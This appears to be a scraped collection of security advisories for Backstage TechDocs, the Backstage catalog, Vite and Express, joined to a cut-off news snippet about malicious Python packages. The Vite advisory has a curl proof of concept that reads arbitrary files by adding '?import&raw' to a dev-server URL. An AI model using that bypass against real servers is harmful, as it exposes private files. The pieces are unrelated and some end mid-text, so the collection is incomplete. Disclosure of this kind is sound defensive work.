### Impact An attacker with control of the contents of the TechDocs storage buckets is able to inject executable scripts in the TechDocs content that will be executed in the victim's browser when browsing documentation or navigating to an attacker provided link. ### Patches This has been fixed in the 1.10.13 release of the `@backstage/plugin-techdocs-backend` package. ### References If you have any questions or comments about this advisory: Open an issue in the [Backstage repository](https://github.com/backstage/backstage) Visit our Discord, linked to in [Backstage README](https://github.com/backstage/backstage)
### Impact When using the AWS S3 or GCS storage provider for TechDocs it is possible to access content in the entire storage bucket. This can leak contents of the bucket that are not intended to be accessible, as well as bypass permission checks in Backstage. ### Patches This has been fixed in the 1.10.13 release of the `@backstage/plugin-techdocs-backend` package. ### References If you have any questions or comments about this advisory: Open an issue in the [Backstage repository](https://github.com/backstage/backstage) Visit our Discord, linked to in [Backstage README](https://github.com/backstage/backstage)
### Impact A malicious actor with authenticated access to a Backstage instance with the catalog backend plugin installed is able to interrupt the service using a specially crafted query to the catalog API. ### Patches This has been fixed in the `1.26.0` release of the `@backstage/plugin-catalog-backend` package. ### References If you have any questions or comments about this advisory: Open an issue in the [Backstage repository](https://github.com/backstage/backstage) Visit our Discord, linked to in [Backstage README](https://github.com/backstage/backstage)
### Summary The contents of arbitrary files can be returned to the browser. ### Details `@fs` denies access to files outside of Vite serving allow list. Adding `?import&raw` to the URL bypasses this limitation and returns the file content if it exists. ### PoC ```sh $ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev $ echo "top secret content" > /tmp/secret.txt # expected behaviour $ curl "http://localhost:5173/@fs/tmp/secret.txt" <body> <h1>403 Restricted</h1> <p>The request url "/tmp/secret.txt" is outside of Vite serving allow list. # security bypassed $ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw" export default "top secret content\n" //# sourceMappingURL=data:application/json;base64,eyJ2... ```

Cybersecurity researchers have uncovered a new set of malicious Python packages that target software developers under the guise of coding assessments. "The new samples were tracked to GitHub projects that have been linked to previous, targeted attacks in which developers are lured using fake job interviews," ReversingLabs researcher Karlo Zanki said. The activity has been assessed to be part of
### Impact passing untrusted user input - even after sanitizing it - to `redirect()` may execute untrusted code ### Patches this issue is patched in serve-static 1.16.0 ### Workarounds users are encouraged to upgrade to the patched version of express, but otherwise can workaround this issue by making sure any untrusted inputs are safe, ideally by validating them against an explicit allowlist ### Details successful exploitation of this vector requires the following: 1. The attacker MUST control the input to response.redirect() 1. express MUST NOT redirect before the template appears 1. the browser MUST NOT complete redirection before: 1. the user MUST click on the link in the template
### Impact In express <4.20.0, passing untrusted user input - even after sanitizing it - to `response.redirect()` may execute untrusted code ### Patches this issue is patched in express 4.20.0 ### Workarounds users are encouraged to upgrade to the patched version of express, but otherwise can workaround this issue by making sure any untrusted inputs are safe, ideally by validating them against an explicit allowlist ### Details successful exploitation of this vector requires the following: 1.
